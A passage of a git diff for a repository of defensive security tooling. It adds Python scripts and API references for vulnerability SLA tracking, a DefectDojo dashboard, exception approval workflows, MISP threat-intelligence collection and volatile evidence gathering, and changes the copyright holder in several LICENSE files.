datetime.datetime.fromisoformat(vuln["remediation_date"].replace("Z", "+00:00")) + days = (rem - disc).days + severity = vuln.get("severity", "medium").lower() + remediation_times[severity].append(days) + except (ValueError, KeyError): + pass + + mttr = {} + for sev, times in remediation_times.items(): + mttr[sev] = { + "mean_days": round(sum(times) / len(times), 1), + "median_days": sorted(times)[len(times) // 2], + "count": len(times), + } + return mttr + + +def generate_sla_dashboard(vulns): + """Generate SLA compliance dashboard data.""" + total = 0 + compliant = 0 + overdue = 0 + at_risk = 0 + by_severity = collections.defaultdict(lambda: {"total": 0, "compliant": 0, "overdue": 0}) + + for vuln in vulns: + sla_result = check_sla_compliance(vuln) + if sla_result["sla_status"] == "resolved": + continue + total += 1 + severity = sla_result["severity"] + by_severity[severity]["total"] += 1 + if sla_result["sla_status"] == "within_sla": + compliant += 1 + by_severity[severity]["compliant"] += 1 + elif sla_result["sla_status"] == "overdue": + overdue += 1 + by_severity[severity]["overdue"] += 1 + elif sla_result["sla_status"] == "at_risk": + at_risk += 1 + + return { + "total_open": total, + "compliant": compliant, + "overdue": overdue, + "at_risk": at_risk, + "compliance_rate": round(compliant / max(total, 1) * 100, 1), + "by_severity": dict(by_severity), + } + + +if __name__ == "__main__": + print("=" * 60) + print("Vulnerability Aging & SLA Tracking") + print("SLA compliance, aging distribution, MTTR calculation") + print("=" * 60) + + now = datetime.datetime.utcnow() + demo_vulns = [ + {"id": "CVE-2024-1234", "severity": "critical", "status": "open", + "discovery_date": (now - datetime.timedelta(days=10)).isoformat() + "Z"}, + {"id": "CVE-2024-2345", "severity": "high", "status": "open", + "discovery_date": (now - datetime.timedelta(days=45)).isoformat() + "Z"}, + {"id": "CVE-2024-3456", "severity": "medium", "status": "open", + "discovery_date": (now - datetime.timedelta(days=120)).isoformat() + "Z"}, + {"id": "CVE-2024-4567", "severity": "critical", "status": "remediated", + "discovery_date": (now - datetime.timedelta(days=5)).isoformat() + "Z", + "remediation_date": (now - datetime.timedelta(days=2)).isoformat() + "Z"}, + {"id": "CVE-2024-5678", "severity": "low", "status": "exception", + "discovery_date": (now - datetime.timedelta(days=200)).isoformat() + "Z"}, + ] + + print("\n--- SLA Compliance ---") + for vuln in demo_vulns: + result = check_sla_compliance(vuln) + print(" {} [{}] age={}d sla={}d -> {}".format( + result["vuln_id"], result["severity"], result["age_days"], + result["sla_days"], result["sla_status"])) + + dashboard = generate_sla_dashboard(demo_vulns) + print("\n--- Dashboard ---") + print(" Compliance rate: {}%".format(dashboard["compliance_rate"])) + print(" Open: {} | Compliant: {} | Overdue: {} | At-risk: {}".format( + dashboard["total_open"], dashboard["compliant"], dashboard["overdue"], dashboard["at_risk"])) + + mttr = calculate_mttr(demo_vulns) + if mttr: + print("\n--- MTTR ---") + for sev, data in mttr.items(): + print(" {}: mean={}d median={}d (n={})".format(sev, data["mean_days"], data["median_days"], data["count"])) + + print("\n" + json.dumps({"vulns_tracked": len(demo_vulns)}, indent=2)) diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/LICENSE b/skills/building-vulnerability-dashboard-with-defectdojo/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-vulnerability-dashboard-with-defectdojo/LICENSE +++ b/skills/building-vulnerability-dashboard-with-defectdojo/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/references/api-reference.md b/skills/building-vulnerability-dashboard-with-defectdojo/references/api-reference.md new file mode 100644 index 00000000..2973dad1 --- /dev/null +++ b/skills/building-vulnerability-dashboard-with-defectdojo/references/api-reference.md @@ -0,0 +1,71 @@ +# API Reference: Vulnerability Dashboard with DefectDojo + +## Authentication +```bash +# Token-based auth +curl -H "Authorization: Token $DEFECTDOJO_TOKEN" \ + "http://localhost:8080/api/v2/findings/" +``` + +## Core Endpoints +| Method | Endpoint | Description | +|--------|----------|------------| +| GET | /api/v2/findings/ | List vulnerability findings | +| GET | /api/v2/products/ | List products | +| GET | /api/v2/engagements/ | List engagements | +| GET | /api/v2/tests/ | List tests | +| POST | /api/v2/import-scan/ | Import scanner results | +| POST | /api/v2/reimport-scan/ | Re-import/update results | + +## Finding Query Parameters +| Parameter | Type | Description | +|-----------|------|------------| +| severity | string | Critical, High, Medium, Low, Info | +| active | boolean | Only active findings | +| verified | boolean | Only verified findings | +| duplicate | boolean | Include duplicates | +| product | integer | Filter by product ID | +| limit | integer | Results per page | +| offset | integer | Pagination offset | + +## Import Scan +```bash +curl -X POST "http://localhost:8080/api/v2/import-scan/" \ + -H "Authorization: Token $TOKEN" \ + -F "product=1" \ + -F "engagement=1" \ + -F "scan_type=Nessus Scan" \ + -F "file=@nessus_export.csv" \ + -F "active=true" \ + -F "verified=false" +``` + +## Supported Scan Types (partial) +| Scanner | scan_type Value | +|---------|----------------| +| Nessus | Nessus Scan | +| Qualys | Qualys Scan | +| Burp Suite | Burp REST API | +| OWASP ZAP | ZAP Scan | +| Trivy | Trivy Scan | +| Snyk | Snyk Scan | +| Semgrep | Semgrep JSON Report | +| Nuclei | Nuclei Scan | +| Checkov | Checkov Scan | +| SARIF | SARIF | + +## Python Client +```python +import requests + +class DefectDojoClient: + def __init__(self, url, token): + self.url = url.rstrip("/") + self.headers = {"Authorization": "Token " + token} + + def get_findings(self, **params): + return requests.get( + f"{self.url}/api/v2/findings/", + headers=self.headers, params=params + ).json() +``` diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/scripts/agent.py b/skills/building-vulnerability-dashboard-with-defectdojo/scripts/agent.py new file mode 100644 index 00000000..0725c8cb --- /dev/null +++ b/skills/building-vulnerability-dashboard-with-defectdojo/scripts/agent.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python3 +"""Vulnerability dashboard builder using DefectDojo API. + +Queries DefectDojo REST API v2 for findings, products, and engagements +to build vulnerability management dashboards and metrics. +""" + +import sys +import json +import datetime +import os +import collections + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +class DefectDojoClient: + """Client for DefectDojo REST API v2.""" + + def __init__(self, url=None, api_key=None): + self.url = (url or os.environ.get("DEFECTDOJO_URL", "http://localhost:8080")).rstrip("/") + self.api_key = api_key or os.environ.get("DEFECTDOJO_API_KEY", "") + self.headers = { + "Authorization": "Token " + self.api_key, + "Content-Type": "application/json", + } + + def _get(self, endpoint, params=None): + if not HAS_REQUESTS or not self.api_key: + return {"error": "requests not available or no API key"} + try: + resp = requests.get( + self.url + "/api/v2/" + endpoint, + headers=self.headers, params=params, timeout=15 + ) + if resp.status_code == 200: + return resp.json() + return {"error": "HTTP {}".format(resp.status_code)} + except Exception as e: + return {"error": str(e)} + + def get_findings(self, severity=None, active=True, limit=100): + params = {"active": active, "limit": limit} + if severity: + params["severity"] = severity + return self._get("findings/", params) + + def get_products(self, limit=100): + return self._get("products/", {"limit": limit}) + + def get_engagements(self, product_id=None, limit=100): + params = {"limit": limit} + if product_id: + params["product"] = product_id + return self._get("engagements/", params) + + def get_finding_count_by_severity(self): + result = {} + for sev in ["Critical", "High", "Medium", "Low", "Info"]: + data = self._get("findings/", {"severity": sev, "active": True, "limit": 1}) + if isinstance(data, dict) and "count" in data: + result[sev] = data["count"] + return result + + def import_scan(self, product_id, engagement_id, scan_type, file_path): + if not HAS_REQUESTS or not self.api_key: + return {"error": "requests not available or no API key"} + try: + with open(file_path, "rb") as f: + resp = requests.post( + self.url + "/api/v2/import-scan/", + headers={"Authorization": "Token " + self.api_key}, + data={ + "product": product_id, + "engagement": engagement_id, + "scan_type": scan_type, + "active": True, + "verified": False, + }, + files={"file": f}, + timeout=60, + ) + if resp.status_code in (200, 201): + return resp.json() + return {"error": "HTTP {}".format(resp.status_code)} + except Exception as e: + return {"error": str(e)} + + +def build_dashboard_data(findings): + """Build dashboard metrics from findings list.""" + if not isinstance(findings, dict) or "results" not in findings: + return {"error": "Invalid findings data"} + + results = findings["results"] + severity_counts = collections.Counter() + product_counts = collections.Counter() + age_sum = 0 + overdue_count = 0 + now = datetime.datetime.now(datetime.timezone.utc) + + for f in results: + severity_counts[f.get("severity", "Unknown")] += 1 + product_counts[f.get("test", {}).get("engagement", {}).get("product", {}).get("name", "Unknown")] += 1 + if f.get("date"): + try: + created = datetime.datetime.fromisoformat(f["date"]) + if created.tzinfo is None: + created = created.replace(tzinfo=datetime.timezone.utc) + age = (now - created).days + age_sum += age + sla = {"Critical": 7, "High": 30, "Medium": 90, "Low": 180}.get(f.get("severity", ""), 999) + if age > sla: + overdue_count += 1 + except ValueError: + pass + + total = len(results) + return { + "total_active_findings": total, + "by_severity": dict(severity_counts), + "by_product": dict(product_counts.most_common(10)), + "avg_age_days": round(age_sum / max(total, 1), 1), + "overdue_count": overdue_count, + "sla_compliance_pct": round((total - overdue_count) / max(total, 1) * 100, 1), + } + + +SUPPORTED_SCAN_TYPES = [ + "Nessus Scan", "Qualys Scan", "Burp REST API", + "ZAP Scan", "Trivy Scan", "Snyk Scan", + "Semgrep JSON Report", "SARIF", "Generic Findings Import", + "Anchore Grype", "Nuclei Scan", "Checkov Scan", +] + + +if __name__ == "__main__": + print("=" * 60) + print("Vulnerability Dashboard with DefectDojo") + print("REST API v2 queries, severity metrics, SLA tracking") + print("=" * 60) + print(" requests available: {}".format(HAS_REQUESTS)) + + client = DefectDojoClient() + + print("\n--- Supported Scan Types ---") + for st in SUPPORTED_SCAN_TYPES: + print(" - {}".format(st)) + + print("\n--- API Endpoints ---") + endpoints = [ + ("GET", "/api/v2/findings/", "List findings"), + ("GET", "/api/v2/products/", "List products"), + ("GET", "/api/v2/engagements/", "List engagements"), + ("POST", "/api/v2/import-scan/", "Import scan results"), + ("POST", "/api/v2/reimport-scan/", "Re-import scan results"), + ] + for method, path, desc in endpoints: + print(" {} {:30s} {}".format(method, path, desc)) + + demo_findings = { + "count": 5, + "results": [ + {"severity": "Critical", "title": "SQL Injection", "date": "2025-01-10", "test": {"engagement": {"product": {"name": "WebApp"}}}}, + {"severity": "High", "title": "XSS", "date": "2025-01-15", "test": {"engagement": {"product": {"name": "WebApp"}}}}, + {"severity": "Medium", "title": "Missing Headers", "date": "2024-12-01", "test": {"engagement": {"product": {"name": "API"}}}}, + {"severity": "Low", "title": "Cookie flag", "date": "2025-02-01", "test": {"engagement": {"product": {"name": "API"}}}}, + {"severity": "Critical", "title": "RCE", "date": "2025-02-20", "test": {"engagement": {"product": {"name": "WebApp"}}}}, + ], + } + + dashboard = build_dashboard_data(demo_findings) + print("\n--- Dashboard ---") + for k, v in dashboard.items(): + print(" {}: {}".format(k, v)) + + print("\n" + json.dumps({"findings_analyzed": demo_findings["count"]}, indent=2)) diff --git a/skills/building-vulnerability-exception-tracking-system/LICENSE b/skills/building-vulnerability-exception-tracking-system/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-vulnerability-exception-tracking-system/LICENSE +++ b/skills/building-vulnerability-exception-tracking-system/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-vulnerability-exception-tracking-system/references/api-reference.md b/skills/building-vulnerability-exception-tracking-system/references/api-reference.md new file mode 100644 index 00000000..17983c47 --- /dev/null +++ b/skills/building-vulnerability-exception-tracking-system/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: Vulnerability Exception Tracking + +## Exception States +| State | Description | +|-------|------------| +| draft | Initial creation, not yet submitted | +| pending_approval | Awaiting approval chain | +| approved | All approvers accepted | +| rejected | Any approver denied | +| expired | Past expiration date | +| revoked | Manually revoked | + +## Approval Chain by Severity +| Severity | Approvers | +|----------|----------| +| Critical | Security Lead -> CISO -> Risk Committee | +| High | Security Lead -> CISO | +| Medium | Security Lead | +| Low | Security Lead | + +## Maximum Exception Duration +| Severity | Max Days | +|----------|---------| +| Critical | 30 | +| High | 90 | +| Medium | 180 | +| Low | 365 | + +## ServiceNow GRC API +```bash +# Create risk exception +curl -X POST "https://instance.service-now.com/api/now/table/sn_grc_exception" \ + -u "user:pass" \ + -H "Content-Type: application/json" \ + -d '{"short_description":"CVE-2024-1234 exception","risk_score":"8.5","state":"draft"}' +``` + +## Archer GRC API +```bash +# Create exception record +curl -X POST "https://archer.example.com/api/core/content" \ + -H "Authorization: Archer session-token=$TOKEN" \ + -d '{"Content":{"LevelId":42,"FieldContents":{"1001":{"Value":"Exception for CVE-2024-1234"}}}}' +``` + +## Compensating Control Categories +| Category | Examples | +|----------|---------| +| Network | Segmentation, ACLs, micro-segmentation | +| Monitoring | Enhanced logging, alerting, SIEM rules | +| Application | WAF rules, input validation, rate limiting | +| Access | MFA, PAM, least privilege enforcement | +| Process | Manual review, change control, audit | diff --git a/skills/building-vulnerability-exception-tracking-system/scripts/agent.py b/skills/building-vulnerability-exception-tracking-system/scripts/agent.py new file mode 100644 index 00000000..f98e9905 --- /dev/null +++ b/skills/building-vulnerability-exception-tracking-system/scripts/agent.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""Vulnerability exception tracking system. + +Manages risk acceptance workflows for vulnerabilities that cannot be +remediated within SLA, including approval chains, expiration tracking, +and compensating control documentation. +""" + +import sys +import json +import datetime +import uuid +import collections + + +EXCEPTION_STATES = ["draft", "pending_approval", "approved", "rejected", "expired", "revoked"] + +APPROVAL_CHAIN = { + "critical": ["security_lead", "ciso", "risk_committee"], + "high": ["security_lead", "ciso"], + "medium": ["security_lead"], + "low": ["security_lead"], +} + +MAX_EXCEPTION_DAYS = { + "critical": 30, + "high": 90, + "medium": 180, + "low": 365, +} + + +def create_exception_request(vuln_id, severity, justification, compensating_controls, requestor): + """Create a new vulnerability exception request.""" + now = datetime.datetime.utcnow() + max_days = MAX_EXCEPTION_DAYS.get(severity.lower(), 180) + chain = APPROVAL_CHAIN.get(severity.lower(), ["security_lead"]) + + return { + "exception_id": "EXC-" + uuid.uuid4().hex[:8].upper(), + "vuln_id": vuln_id, + "severity": severity.lower(), + "status": "draft", + "requestor": requestor, + "created_date": now.isoformat() + "Z", + "expiration_date": (now + datetime.timedelta(days=max_days)).isoformat() + "Z", + "max_duration_days": max_days, + "justification": justification, + "compensating_controls": compensating_controls, + "approval_chain": chain, + "approvals": [], + "risk_accepted": False, + } + + +def submit_for_approval(exception): + """Submit exception request for approval.""" + if exception["status"] != "draft": + return {"error": "Can only submit from draft state"} + exception["status"] = "pending_approval" + exception["submitted_date"] = datetime.datetime.utcnow().isoformat() + "Z" + return exception + + +def process_approval(exception, approver, decision, comments=""): + """Process an approval decision.""" + if exception["status"] != "pending_approval": + return {"error": "Not in pending_approval state"} + + chain = exception["approval_chain"] + approved_by = [a["approver"] for a in exception["approvals"]] + next_approver_idx = len(approved_by) + + if next_approver_idx >= len(chain): + return {"error": "All approvals already processed"} + + if approver != chain[next_approver_idx]: + return {"error": "Not the next approver in chain. Expected: " + chain[next_approver_idx]} + + exception["approvals"].append({ + "approver": approver, + "decision": decision, + "comments": comments, + "timestamp": datetime.datetime.utcnow().isoformat() + "Z", + }) + + if decision == "rejected": + exception["status"] = "rejected" + exception["risk_accepted"] = False + elif len(exception["approvals"]) == len(chain): + if all(a["decision"] == "approved" for a in exception["approvals"]): + exception["status"] = "approved" + exception["risk_accepted"] = True + + return exception + + +def check_expirations(exceptions): + """Check all exceptions for expiration.""" + now = datetime.datetime.now(datetime.timezone.utc) + expired = [] + for exc in exceptions: + if exc["status"] != "approved": + continue + try: + exp_date = datetime.datetime.fromisoformat(exc["expiration_date"].replace("Z", "+00:00")) + if now > exp_date: + exc["status"] = "expired" + exc["risk_accepted"] = False + expired.append(exc["exception_id"]) + except (ValueError, KeyError): + pass + return expired + + +def generate_exception_report(exceptions): + """Generate exception tracking report.""" + status_counts = collections.Counter(e["status"] for e in exceptions) + severity_counts = collections.Counter(e["severity"] for e in exceptions) + active = [e for e in exceptions if e["status"] == "approved"] + now = datetime.datetime.now(datetime.timezone.utc) + expiring_soon = [] + for e in active: + try: + exp = datetime.datetime.fromisoformat(e["expiration_date"].replace("Z", "+00:00")) + days_left = (exp - now).days + if days_left <= 30: + expiring_soon.append({"exception_id": e["exception_id"], "days_remaining": days_left}) + except (ValueError, KeyError): + pass + + return { + "total_exceptions": len(exceptions), + "by_status": dict(status_counts), + "by_severity": dict(severity_counts), + "active_exceptions": len(active), + "expiring_within_30_days": expiring_soon, + } + + +if __name__ == "__main__": + print("=" * 60) + print("Vulnerability Exception Tracking System") + print("Risk acceptance workflows, approval chains, expiration tracking") + print("=" * 60) + + exc1 = create_exception_request( + vuln_id="CVE-2024-1234", severity="critical", + justification="Legacy system cannot be patched without major rebuild", + compensating_controls=["Network segmentation", "Enhanced monitoring", "WAF rule"], + requestor="john.doe" + ) + print("\n Created: {} for {} [{}]".format(exc1["exception_id"], exc1["vuln_id"], exc1["severity"])) + print(" Approval chain: {}".format(" -> ".join(exc1["approval_chain"]))) + print(" Max duration: {} days".format(exc1["max_duration_days"])) + + exc1 = submit_for_approval(exc1) + print(" Status: {}".format(exc1["status"])) + + exc1 = process_approval(exc1, "security_lead", "approved", "Compensating controls adequate") + exc1 = process_approval(exc1, "ciso", "approved", "Accepted with monitoring requirement") + exc1 = process_approval(exc1, "risk_committee", "approved", "Approved for 30 days") + print(" Final status: {} (risk_accepted={})".format(exc1["status"], exc1["risk_accepted"])) + + report = generate_exception_report([exc1]) + print("\n--- Report ---") + for k, v in report.items(): + print(" {}: {}".format(k, v)) + + print("\n" + json.dumps({"exceptions_tracked": 1}, indent=2)) diff --git a/skills/building-vulnerability-scanning-workflow/LICENSE b/skills/building-vulnerability-scanning-workflow/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-vulnerability-scanning-workflow/LICENSE +++ b/skills/building-vulnerability-scanning-workflow/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/bypassing-authentication-with-forced-browsing/LICENSE b/skills/bypassing-authentication-with-forced-browsing/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/bypassing-authentication-with-forced-browsing/LICENSE +++ b/skills/bypassing-authentication-with-forced-browsing/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/collecting-indicators-of-compromise/LICENSE b/skills/collecting-indicators-of-compromise/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/collecting-indicators-of-compromise/LICENSE +++ b/skills/collecting-indicators-of-compromise/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/collecting-open-source-intelligence/LICENSE b/skills/collecting-open-source-intelligence/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/collecting-open-source-intelligence/LICENSE +++ b/skills/collecting-open-source-intelligence/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/collecting-threat-intelligence-with-misp/LICENSE b/skills/collecting-threat-intelligence-with-misp/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/collecting-threat-intelligence-with-misp/LICENSE +++ b/skills/collecting-threat-intelligence-with-misp/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/collecting-threat-intelligence-with-misp/references/api-reference.md b/skills/collecting-threat-intelligence-with-misp/references/api-reference.md new file mode 100644 index 00000000..78bdc707 --- /dev/null +++ b/skills/collecting-threat-intelligence-with-misp/references/api-reference.md @@ -0,0 +1,80 @@ +# API Reference: Collecting Threat Intelligence with MISP + +## PyMISP Installation +```bash +pip install pymisp +``` + +## Client Initialization +```python +from pymisp import PyMISP + +misp = PyMISP( + url="https://misp.example.org", + key=os.environ["MISP_API_KEY"], + ssl=True +) +``` + +## Event Search +```python +# By tags +events = misp.search("events", tags=["tlp:white", "type:OSINT"], pythonify=True) + +# By date range +events = misp.search("events", date_from="2025-01-01", date_to="2025-01-31", pythonify=True) + +# Published only +events = misp.search("events", published=True, limit=100, pythonify=True) +``` + +## Attribute Search +```python +# By type +attrs = misp.search("attributes", type_attribute="ip-dst", to_ids=True, pythonify=True) + +# By event +attrs = misp.search("attributes", eventid=42, pythonify=True) + +# By value +attrs = misp.search("attributes", value="198.51.100.42", pythonify=True) +``` + +## REST API (curl) +```bash +# Search events +curl -X POST "https://misp/events/restSearch" \ + -H "Authorization: $KEY" \ + -H "Content-Type: application/json" \ + -d '{"tags":["tlp:white"],"limit":50}' + +# Get event +curl -H "Authorization: $KEY" "https://misp/events/view/42" + +# STIX 2 export +curl -H "Authorization: $KEY" "https://misp/events/restSearch/stix2" +``` + +## Common Attribute Types +| Type | Category | Example | +|------|----------|---------| +| ip-dst | Network activity | 198.51.100.42 | +| domain | Network activity | evil.example.com | +| url | Network activity | https://evil.com/mal | +| sha256 | Payload delivery | a1b2c3... | +| md5 | Payload delivery | d41d8c... | +| email-src | Payload delivery | attacker@evil.com | +| filename | Payload delivery | malware.exe | + +## Feed Management +```python +# List feeds +feeds = misp.feeds() + +# Enable feed +misp.enable_feed(feed_id=1) + +# Fetch and cache +misp.fetch_feed(feed_id=1) +misp.cache_feeds() +``` diff --git a/skills/collecting-threat-intelligence-with-misp/scripts/agent.py b/skills/collecting-threat-intelligence-with-misp/scripts/agent.py new file mode 100644 index 00000000..a1ac7968 --- /dev/null +++ b/skills/collecting-threat-intelligence-with-misp/scripts/agent.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python3 +"""Threat intelligence collection agent using MISP/PyMISP. + +Connects to MISP instances to collect, filter, and export threat intelligence +including events, attributes, and feeds via the PyMISP REST API client. +""" + +import sys +import json +import os +import datetime + +try: + from pymisp import PyMISP, MISPEvent, MISPAttribute + HAS_PYMISP = True +except ImportError: + HAS_PYMISP = False + + +def init_misp(url=None, key=None): + """Initialize PyMISP client.""" + url = url or os.environ.get("MISP_URL", "https://misp.example.org") + key = key or os.environ.get("MISP_API_KEY", "") + if not HAS_PYMISP: + return None + return PyMISP(url, key, ssl=True) + + +def search_events(misp, tags=None, date_from=None, published=True, limit=50): + """Search MISP events by tags and date.""" + if not misp: + return {"error": "PyMISP not available"} + kwargs = {"limit": limit, "published": published, "pythonify": True} + if tags: + kwargs["tags"] = tags + if date_from: + kwargs["date_from"] = date_from + try: + events = misp.search("events", **kwargs) + return [ + { + "id": e.id, + "uuid": e.uuid, + "info": e.info, + "date": str(e.date), + "threat_level": {1: "High", 2: "Medium", 3: "Low", 4: "Undefined"}.get(e.threat_level_id, "?"), + "analysis": {0: "Initial", 1: "Ongoing", 2: "Complete"}.get(e.analysis, "?"), + "attribute_count": e.attribute_count, + "org": e.Orgc.name if hasattr(e, "Orgc") and e.Orgc else "", + "tags": [t.name for t in (e.tags or [])], + } + for e in events + ] + except Exception as e: + return {"error": str(e)} + + +def extract_attributes(misp, event_id, attr_type=None): + """Extract attributes from a MISP event.""" + if not misp: + return {"error": "PyMISP not available"} + try: + kwargs = {"eventid": event_id, "pythonify": True} + if attr_type: + kwargs["type_attribute"] = attr_type + attrs = misp.search("attributes", **kwargs) + return [ + { + "type": a.type, + "value": a.value, + "category": a.category, + "to_ids": a.to_ids, + "comment": a.comment or "", + "timestamp": str(datetime.datetime.fromtimestamp(int(a.timestamp))), + } + for a in attrs + ] + except Exception as e: + return {"error": str(e)} + + +def collect_iocs_by_type(misp, ioc_types, date_from=None, limit=500): + """Collect IOCs filtered by attribute type.""" + if not misp: + return {"error": "PyMISP not available"} + results = {} + for ioc_type in ioc_types: + try: + kwargs = {"type_attribute": ioc_type, "to_ids": True, "pythonify": True, "limit": limit} + if date_from: + kwargs["date_from"] = date_from + attrs = misp.search("attributes", **kwargs) + results[ioc_type] = [ + {"value": a.value, "event_id": a.event_id, "comment": a.comment or ""} + for a in attrs + ] + except Exception as e: + results[ioc_type] = {"error": str(e)} + return results + + +def list_feeds(misp): + """List configured MISP feeds.""" + if not misp: + return {"error": "PyMISP not available"} + try: + feeds = misp.feeds() + return [ + { + "id": f["Feed"]["id"], + "name": f["Feed"]["name"], + "provider": f["Feed"]["provider"], + "url": f["Feed"]["url"], + "enabled": f["Feed"]["enabled"], + "source_format": f["Feed"]["source_format"], + } + for f in feeds + ] + except Exception as e: + return {"error": str(e)} + + +def export_stix2(misp, event_id): + """Export MISP event as STIX 2.1 bundle.""" + if not misp: + return {"error": "PyMISP not available"} + try: + stix_data = misp.get_stix_event(event_id) + return stix_data + except Exception as e: + return {"error": str(e)} + + +COMMON_IOC_TYPES = [ + "ip-dst", "ip-src", "domain", "hostname", "url", + "md5", "sha1", "sha256", "email-src", "filename", +] + + +if __name__ == "__main__": + print("=" * 60) + print("Threat Intelligence Collection with MISP") + print("PyMISP REST client, event search, attribute extraction, feeds") + print("=" * 60) + print(" PyMISP available: {}".format(HAS_PYMISP)) + + misp = init_misp() if HAS_PYMISP else None + + if not misp: + print("\n[DEMO] No MISP connection. Showing IOC types and feed structure.") + print("\n--- Common IOC Types ---") + for t in COMMON_IOC_TYPES: + print(" - {}".format(t)) + print("\n--- Usage ---") + print(" Set MISP_URL and MISP_API_KEY environment variables") + print(" python agent.py") + else: + print("\n[*] Searching recent events...") + events = search_events(misp, date_from="7d") + if isinstance(events, list): + print(" Found {} events".format(len(events))) + for e in events[:5]: + print(" [{}] {} ({} attrs)".format(e["id"], e["info"][:60], e["attribute_count"])) + else: + print(" Error: {}".format(events)) + + feeds = list_feeds(misp) + if isinstance(feeds, list): + print("\n--- Feeds ({}) ---".format(len(feeds))) + for f in feeds[:10]: + status = "enabled" if f["enabled"] else "disabled" + print(" [{}] {} ({})".format(f["id"], f["name"], status)) + + print("\n" + json.dumps({"pymisp_available": HAS_PYMISP}, indent=2)) diff --git a/skills/collecting-volatile-evidence-from-compromised-host/LICENSE b/skills/collecting-volatile-evidence-from-compromised-host/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/collecting-volatile-evidence-from-compromised-host/LICENSE +++ b/skills/collecting-volatile-evidence-from-compromised-host/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/collecting-volatile-evidence-from-compromised-host/references/api-reference.md b/skills/collecting-volatile-evidence-from-compromised-host/references/api-reference.md new file mode 100644 index 00000000..5f4a3804 --- /dev/null +++ b/skills/collecting-volatile-evidence-from-compromised-host/references/api-reference.md @@ -0,0 +1,79 @@ +# API Reference: Collecting Volatile Evidence from Compromised Host + +## RFC 3227 Order of Volatility +| Priority | Source | Persistence | +|----------|--------|------------| +| 1 | CPU registers, cache | Nanoseconds | +| 2 | Physical memory (RAM) | Power cycle | +| 3 | Network state | Seconds-minutes | +| 4 | Running processes | Minutes | +| 5 | Disk (filesystem) | Persistent | +| 6 | Remote logging / monitoring | Persistent | +| 7 | Physical configuration | Persistent | +| 8 | Archival media | Long-term | + +## Memory Acquisition Tools +| Tool | Platform | Command | +|------|----------|---------| +| AVML | Linux | `avml /path/to/output.lime` | +| WinPmem | Windows | `winpmem_mini_x64.exe output.raw` | +| LiME | Linux | `insmod lime.ko "path=/tmp/mem.lime format=lime"` | +| Magnet RAM Capture | Windows | GUI-based acquisition | + +## Linux Collection Commands +```bash +# Network connections +ss -tunap > /evidence/netstat.txt + +# Process list with tree +ps auxwwf > /evidence/processes.txt + +# Open files +lsof -nP > /evidence/open_files.txt + +# Network config +ip addr show > /evidence/ifconfig.txt +ip route show > /evidence/routes.txt +ip neigh show > /evidence/arp.txt + +# Logged-in users +w > /evidence/users.txt +last -50 > /evidence/last_logins.txt + +# Cron jobs +crontab -l > /evidence/crontab.txt +ls -la /etc/cron.d/ >> /evidence/crontab.txt +``` + +## Windows Collection Commands +```cmd +:: Network connections +netstat -anob > C:\evidence\netstat.txt + +:: Process list +tasklist /V /FO CSV > C:\evidence\processes.csv +wmic process get ProcessId,Name,CommandLine /format:csv > C:\evidence\wmic_procs.csv + +:: Network config +ipconfig /all > C:\evidence\ipconfig.txt +route print > C:\evidence\routes.txt +arp -a > C:\evidence\arp.txt + +:: DNS cache +ipconfig /displaydns > C:\evidence\dns_cache.txt + +:: Scheduled tasks +schtasks /query /FO CSV /V > C:\evidence\schtasks.csv + +:: Logged-in users +query user > C:\evidence\users.txt +``` + +## Evidence Integrity +```bash +# Hash collected files +sha256sum /evidence/*.txt > /evidence/checksums.sha256 + +# Verify later +sha256sum -c /evidence/checksums.sha256 +``` diff --git a/skills/collecting-volatile-evidence-from-compromised-host/scripts/agent.py b/skills/collecting-volatile-evidence-from-compromised-host/scripts/agent.py new file mode 100644 index 00000000..cb6d9dca --- /dev/null +++ b/skills/collecting-volatile-evidence-from-compromised-host/scripts/agent.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python3 